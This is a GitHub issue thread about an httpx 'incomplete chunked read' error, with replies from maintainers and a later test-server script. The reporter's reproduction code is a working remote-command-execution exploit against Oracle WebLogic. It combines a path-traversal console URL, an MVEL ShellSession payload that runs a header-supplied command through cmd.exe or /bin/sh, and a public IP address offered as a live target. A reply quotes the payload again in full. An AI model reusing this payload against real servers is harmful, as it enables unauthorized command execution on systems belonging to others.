Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

peer closed connection without sending complete message body (incomplete chunked read) #1927

Closed
2 tasks done
ca3tie1 opened this issue Nov 5, 2021 · 8 comments
Closed
2 tasks done
Labels

Comments

@ca3tie1
Copy link

ca3tie1 commented Nov 5, 2021

Checklist

  • The bug is reproducible against the latest release and/or master.
  • There are no similar issues or pull requests to fix it yet.

Describe the bug

I got the following error when sending some special requests:
httpcore.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)

headers = {
            "cmd": "whoami",
        }
host = "http://192.168.0.29:7001/"
url = """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""

with httpx.Client(headers=headers) as client:
    response = client.get(host + url)
    print(response.text)
Traceback (most recent call last):
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_transports\default.py", line 62, in map_httpcore_exceptions
    yield
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_transports\default.py", line 107, in __iter__
    for part in self._httpcore_stream:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_sync\connection_pool.py", line 57, in __iter__
    for chunk in self.stream:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_bytestreams.py", line 56, in __iter__
    for chunk in self._iterator:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_sync\http11.py", line 208, in _receive_response_data
    event = self._receive_event(timeout)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_sync\http11.py", line 222, in _receive_event
    event = self._h11_state.next_event()
  File "D:\Program Files\Python\Python38\lib\contextlib.py", line 131, in __exit__
    self.gen.throw(type, value, traceback)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_exceptions.py", line 12, in map_exceptions
    raise to_exc(exc) from None
httpcore.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "test3.py", line 17, in <module>
    response = client.get(host + url)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 1010, in get
    return self.request(
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 792, in request
    return self.send(request, auth=auth, follow_redirects=follow_redirects)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 891, in send
    raise exc
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 885, in send
    response.read()
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_models.py", line 1562, in read
    self._content = b"".join(self.iter_bytes())
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_models.py", line 1578, in iter_bytes
    for raw_bytes in self.iter_raw():
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_models.py", line 1632, in iter_raw
    for raw_stream_bytes in self.stream:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 124, in __iter__
    for chunk in self._stream:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_transports\default.py", line 108, in __iter__
    yield part
  File "D:\Program Files\Python\Python38\lib\contextlib.py", line 131, in __exit__
    self.gen.throw(type, value, traceback)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_transports\default.py", line 79, in map_httpcore_exceptions
    raise mapped_exc(message) from exc
httpx.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)

If use requests, must use the following code to set the HTTP version to 1.0 to succeed.

import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
rsp = requests.get(host + url, headers=headers)
print(rsp.text)

Environment

  • OS: Windows
  • Python version: Python 3.8.2
  • HTTPX version: 0.18.2
  • Async environment: yes
  • HTTP proxy: No
  • Custom certificates: No

Additional context

In order to facilitate the test, I put the website of the intranet on the Internet.This URL address can be used for testing : http://27.102.107.109:7001/

@Priyansh2001here
Copy link

I think you are sending request to wrong url

host = "http://192.168.0.29:7001/"
url = """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""

would give
HOST//Relative path
i.e

http://192.168.0.29:7001//console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

which is wrong url

@tomchristie
Copy link
Member

tomchristie commented Feb 4, 2022

I'd be interested in digging into HTTP/1.0 failure cases - bit difficult right now since I don't know a publicly available URL which replicates this behaviour.

(If you're up for exposing an example server that'll replicate this again, then I'll happily take the time to look into it.)

@stale
Copy link

stale bot commented Mar 12, 2022

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.

@stale stale bot added the wontfix label Mar 12, 2022
@stale stale bot closed this as completed Mar 19, 2022
@hi-unc1e
Copy link

Original patch for urllib3 is here, a already-known issue for the community. But We need to migrate this patch into httpx, it's not easy since httpx using state-machine method to parse those chunk response

@tomchristie
Copy link
Member

@hi-unc1e Unclear what you're trying to say.
Could you start by describing/demoing issue from first principles?

@hi-unc1e
Copy link

@tomchristie

Problem Scenario

I have encountered an issue when handling responses from a server, which you can set up the server (Python 3):

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import socket
import threading

port = 80

def handle_request(client_socket, request):
    if "chunk_error" in request:
        response = bytes.fromhex("485454502f312e3120323030204f4b0d0a4163636570742d52616e6765733a2062797465730d0a436f6e74656e742d547970653a20746578742f68746d6c3b20636861727365743d5554462d380d0a446174653a204d6f6e2c203237204d617920323032342031313a31333a303120474d540d0a5365727665723a206e67696e780d0a5472616e736665722d456e636f64696e673a206368756e6b65640d0a0d0a32380d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c3e3c686561642069643d226448656164223e0d0a")
        client_socket.sendall(response)
        client_socket.close()
    else:
        response = "HTTP/1.1 200 OK\n\nHello World! This is Http Server With Many Problems"
        client_socket.sendall(response.encode())
        client_socket.close()

def handle_client(client_socket):
    request = client_socket.recv(1024).decode()
    print(f"Received request: {request}")
    handle_request(client_socket, request)

if __name__ == '__main__':
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind(('0.0.0.0', port))
    server_socket.listen(50)  # Set the listening queue size

    print(f"Listening on port {port}...")

    while True:
        client_socket, addr = server_socket.accept()
        client_thread = threading.Thread(target=handle_client, args=(client_socket,))
        client_thread.start()

When I try to access this server using httpx:

import httpx
response = httpx.get('http://127.0.0.1:80/chunk_error/')
print("Response: ", response.status_code, response.text)

I encounter the following error:

message = str(exc)
>           raise mapped_exc(message) from exc
E           httpx.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)

Problem Analysis

  • Cause of the Problem: The chunk size does not strictly adhere to the HTTP specification.
  • Key Issue: How should our library handle malformed HTTP responses?

Specifically, the underlying h11 library called by httpx throws this error link. We encountered this issue during secondary development of httpx. We believe that the current implementation of the httpx library does not require modifications to handle this specific scenario.

Instead, the httpx library should faithfully adhere to the correctness of the HTTP protocol.


Please feel free to reach out for any further clarifications or discussions.

@tomchristie
Copy link
Member

Okay. My understanding of this is that "httpx is behaving correctly and raising an exception, although the exception could be clearer".

Does that match your interpretation?

@hi-unc1e
Copy link

hi-unc1e commented May 31, 2024 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

4 participants